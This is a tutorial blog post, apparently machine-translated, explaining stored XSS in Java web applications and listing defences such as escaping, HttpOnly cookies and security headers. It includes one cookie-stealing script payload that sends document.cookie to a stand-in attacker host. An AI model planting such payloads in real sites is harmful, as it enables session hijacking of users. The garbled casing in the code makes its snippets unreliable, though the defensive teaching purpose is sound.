Java Web Development-persistent/storage-type XSS vulnerability

Java Web Development-persistent/storage-type XSS vulnerability

1. What is an XSS vulnerability attack?

XSS is the abbreviation for cross site scripting attacks (Scripting), which is known as XSS rather than CSS, which is to be distinguished from cascading style sheets (cascading style sheets,css).

2. The principle of XSS vulnerability attack

A malicious attacker inserts malicious HTML code into a Web page, and when the user browses to the Web page, the malicious HTML code embedded in the Web page is executed to achieve the special purpose of the malicious attacker.

XSS vulnerability is divided into two categories, one is persistent/storage type XSS, the other is reflective XSS;

1) Persistent/storage-type XSS: Malicious HTML embedded in the Web page is stored on the application server side, in short, will be stored in the database, and so on when the user opens the page, will continue to execute malicious code, can continuously attack the user;

2) Reflective XSS: Reflective XSS is a one-time, only impact on the page access when it occurs. A non-persistent XSS attack requires the user to access a link that has been tampered with by the attacker, and when the user accesses the link, the inserted attack script is executed by the user's browser to achieve the purpose of the attack;

This is mainly about persistent/storage XSS vulnerability attacks

3. Here is an example

1) This page is a simple add page

2) After saving successfully, you can go to view the database, the JavaScript code in the Memo field has been stored in the database, as follows:

3) in the Open User Query List page (as long as the page contains the user's Memo field can be), will appear the following information, on behalf of our attack success.

Summarize:

Here, someone might ask, what's the use of this? What happens if you change the value of the "Memo" field above to the following code?

<a id= ' attacker ' > click to Send hundred Yuan cash </a>
<script>document.getelementbyid (' attacker '). href= ' http://www.attacker_741.com/receiveCookies.html? ' +document.cookie;</script>

In the case of these malicious code, the attacker could then gain access to the user's cookie information and then log on to the system with that user role.

4. How can we prevent this XSS attack? I summed up the following points, we can refer to the following

1) Add the user input length limit on the page;

2) Add the length limit on the server (database);

3) Filter the user input of the special string, to escape it, as follows

The sample string "<script> is not document.getElementById (' a '). href= ' +document.cookie;</script>", following the escaped string
Stringescapeutils-&lt;script&gt;& #26159;& #19981;& #26159;d Ocument.getelementbyid (' a '). href= "' +document.cookie;&lt;/script&gt;
Htmlutils-&lt;script&gt; is not document.getElementById (& #39;a& #39;) .href=& #39;& #39; + Document.cookie;&lt;/script&gt;

4) HTTP-Related settings

　　A) Cookie.sethttponly (true);-Protect user cookies

B) Res.setheader ("X-frame-options", "Sameorigin"); X-frame-options the corresponding attribute value meaning

DENY: This page is not allowed to be loaded as frame
Sameorigin: This page only allows same-origin page loading
<uri>: This page can only be loaded by a specific domain
C) Res.setheader ("X-xss-protection", "1;mode=block");
D) Res.setheader ("X-content-type-options", "Nosniff"); Prevent the browser from Content-type sniffing. Tells the browser to trust the type of resources issued by this server to prevent type sniffing attacks.

　　

Java Web Development-persistent/storage-type XSS vulnerability